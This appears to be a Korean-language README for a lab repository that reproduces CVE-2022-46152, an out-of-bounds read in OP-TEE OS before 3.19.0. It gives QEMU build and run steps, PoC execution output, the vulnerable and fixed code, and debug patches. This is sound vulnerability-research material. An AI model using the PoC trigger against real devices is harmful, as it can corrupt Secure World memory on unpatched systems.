
CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function.
OP-TEE OS cleanup_shm_refs() 범위 외 읽기 — 재현 환경
참조: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
보안 권고: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
| 필드 | 세부 내용 |
|---|---|
| 취약점 | cleanup_shm_refs()가 num_params를 검증하지 않음 (이론상 최대 127; 실제로 Linux TEE ioctl TEE_MAX_ARG_SIZE=1024에 의해 최대 31로 제한됨), 반면 saved_attr[]는 4개 요소만 가짐 |
| 영향을 받는 버전 | OP-TEE OS < 3.19.0 |
| 트리거 조건 | Normal World가 직접 ioctl을 통해 num_params=31인 INVOKE 요청 전송 (libteec의 4-파라미터 제한 우회) |
| 영향 | Secure World 스택 데이터의 범위 외 읽기; 스택 잔류 값이 TMEM 유형과 일치하면 Use-After-Free가 발생함 |
| 수정 | cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (커밋 728616b) |
CVE-2022-46152/
├── README.md # 이 파일 (영어)
├── README.zh.md # 중국어 버전
├── setup.sh # 원클릭 환경 설정
├── run_qemu.sh # QEMU 실행
├── exploit.sh # 자동/수동 재현 스크립트
├── cve-2022-46152-oob-emsg.patch # OP-TEE OS 디버그 패치 (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU 패치 (pflash_write 노이즈 로그 억제)
├── poc/
│ ├── cve_2022_46152.c # PoC 익스플로잇 소스 (libteec 우회 직접 ioctl)
│ └── Makefile # 크로스 컴파일 Makefile
├── docs/
│ └── vulnerability_analysis.md # 상세 기술 취약점 분석
└── optee/ # OP-TEE 환경 (setup.sh에 의해 생성됨)
├── optee_os/ # OP-TEE OS 3.18.0 (취약 버전)
├── build/ # 빌드 시스템 (qemu_v8.mk)
├── linux/ # 리눅스 커널
├── buildroot/ # Buildroot 루트 파일시스템
├── trusted-firmware-a/ # TF-A v2.6
├── qemu/ # QEMU v7.0.0 (소스)
└── out/bin/ # 빌드 산출물
├── bl1.bin # TF-A BL1
├── Image # 리눅스 커널 이미지
└── rootfs.cpio.gz # PoC가 포함된 루트 파일시스템
# Ubuntu/Debian
sudo apt-get install -y \
repo git make python3 \
aarch64-linux-gnu-gcc \
device-tree-compiler \
libglib2.0-dev libpixman-1-dev \
netcat-openbsd expect
# 확인
aarch64-linux-gnu-gcc --version
repo --version
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
참고:
3.18.0태그를 사용하세요. 이 버전에는 CVE-2022-46152 취약점이 포함되어 있으며 수정 사항이 아직 적용되지 않았습니다.
./setup.sh
이 스크립트는 다음을 수행합니다:
repo sync 실행하여 모든 소스 코드 가져오기optee/toolchains/가 이미 존재하면 다운로드 건너뛰고, 없으면 자동 다운로드)make all 실행하여 TF-A, OP-TEE OS 3.18.0, Linux, Buildroot 빌드# 세 개의 터미널 열기:
# 터미널 1 — QEMU 시작:
./run_qemu.sh --no-gdb
# 터미널 2 — Normal World 콘솔 (run_qemu.sh가 시작된 후 실행):
python3 optee/build/soc_term.py 54320
# 터미널 3 — Secure World (OP-TEE 로그, run_qemu.sh가 시작된 후 실행):
python3 optee/build/soc_term.py 54321
참고:
run_qemu.sh는 내부적으로 54320/54321을 리스닝하는 서버 모드로soc_term.py를 시작하며, QEMU는 클라이언트로 연결됩니다. 위 명령어는 실행 중인 인스턴스에 연결하는 예시이며, 일반적으로 수동으로 실행할 필요는 없습니다.
# Normal World 터미널(54320)에서 로그인 프롬프트가 나타난 후:
(none) login: root
# PoC 실행
/root/cve_2022_46152
=== CVE-2022-46152 PoC 익스플로잇 ===
OP-TEE cleanup_shm_refs() 범위 외 읽기
영향: OP-TEE OS < 3.19.0
[+] /dev/tee0 열기 성공
[*] Hello World TA에 세션 열기...
[+] 세션 열림: id=2
[*] 취약점 트리거: num_params=31로 호출
[*] saved_attr[]는 4개 슬롯만 있음 -> 스택에서 27개의 추가 워드 OOB 읽기
[*] 버퍼 크기: 1016바이트 (TEE_MAX_ARG_SIZE 제한: 1024)
[+] ioctl 반환: ret=0xffff0006 origin=0x3
[+] 취약점 트리거됨!
[+] TEE가 TEE_ERROR_BAD_PARAMETERS (0xFFFF0006) 반환
[+] entry_invoke_command()가 num_params=31을 거부했지만,
[+] cleanup_shm_refs(31, saved_attr[4], ...)가 OOB 실행됨!
[*] Secure World UART(포트 54321)에서 크래시 세부 정보 확인.
[*] 완료. Secure World UART 출력에서 OOB/abort 증거 확인.
참고:
TEE_MAX_ARG_SIZE=1024는 단일 ioctl을 최대 31개 파라미터로 제한합니다 (libteec는 4개로 제한). 그럼에도num_params=31은 OOB를 트리거하기에 충분합니다 (saved_attr[4..30]읽기, 27개 요소 범위 외).
I/TC: OP-TEE 버전: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
경고줄
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!는cve-2022-46152-oob-emsg.patch패치를 통해entry_std.c에 추가된 명시적 로그로, 취약점 트리거 경로를 확인하기 위한 것입니다.cleanup_shm_refs는 스택에서 27개의 추가 요소를 범위 외로 읽습니다. 스택 잔류 값이 TMEM 유형과 일치하면mobj_put()Use-After-Free가 트리거될 수 있습니다.
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
uint32_t saved_attr[TEE_NUM_PARAMS]; /* 4개 슬롯만 있음! */
...
res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
if (res != TEE_SUCCESS) {
/* ❌ 버그: num_params는 127이 될 수 있음, saved_attr[4..126] OOB 읽기 */
cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
goto out;
}
...
}
if (res != TEE_SUCCESS) {
/* ✅ 수정: MIN(4, 127) = 4, 더 이상 범위 외 읽기 없음 */
cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
goto out;
}
# 환경 설정
./setup.sh
# QEMU 시작 (GDB 디버그 포트 포함)
./run_qemu.sh
# QEMU 시작 (GDB 대기 없음)
./run_qemu.sh --no-gdb
# 수동 재현 단계 표시
./exploit.sh --manual
# 자동 재현 (추가 터미널 불필요, 현재 셸에 출력)
./exploit.sh
# Normal World 콘솔 연결 (run_qemu.sh 시작 후)
python3 optee/build/soc_term.py 54320
# Secure World 로그 연결 (run_qemu.sh 시작 후)
python3 optee/build/soc_term.py 54321
# OP-TEE OS GDB 디버그
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c
이 저장소는 QEMU v7.0.0 위에 qemu-pflash-suppress-unimp-log.patch 패치를 적용하여
VM 실행 시 다음 노이즈 출력을 제거합니다:
pflash_write: Write to buffer emulation is flawed
hw/block/pflash_cfi01.c의 pflash_write()는 CFI pflash 0xe8 (Write to buffer) 명령어를
처리할 때 qemu_log_mask(LOG_UNIMP, ...)를 호출하여 "구현되지 않음" 경고를 기록합니다.
TF-A 펌웨어는 부팅 중 pflash에 쓰기를 수행하여 이 경로를 트리거하고, 시작할 때마다 메시지를 출력합니다.
hw/block/pflash_cfi01.c)case 0xe8 분기 내부의 qemu_log_mask(LOG_UNIMP, ...) 호출을 제거하고,
기능 로직은 그대로 유지합니다.
optee/qemu/에 이미 통합됨)cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64
이 저장소는 OP-TEE OS 3.18.0 위에 디버그 패치 cve-2022-46152-oob-emsg.patch를 적용하여
취약점 트리거 시 Secure World UART에 명시적 경고가 출력되도록 하여 재현 확인을 쉽게 만듭니다.
core/tee/entry_std.c)#include <trace.h> 추가entry_invoke_command()에서 cleanup_shm_refs() 호출 전에 num_params > TEE_NUM_PARAMS를
감지하여 EMSG()로 CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 출력⚠️ 이 패치는 디버깅/시연용이며 보안 수정 사항이 아닙니다. 실제 수정은 커밋 728616b에 있습니다.
optee/optee_os/에 이미 통합됨)cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os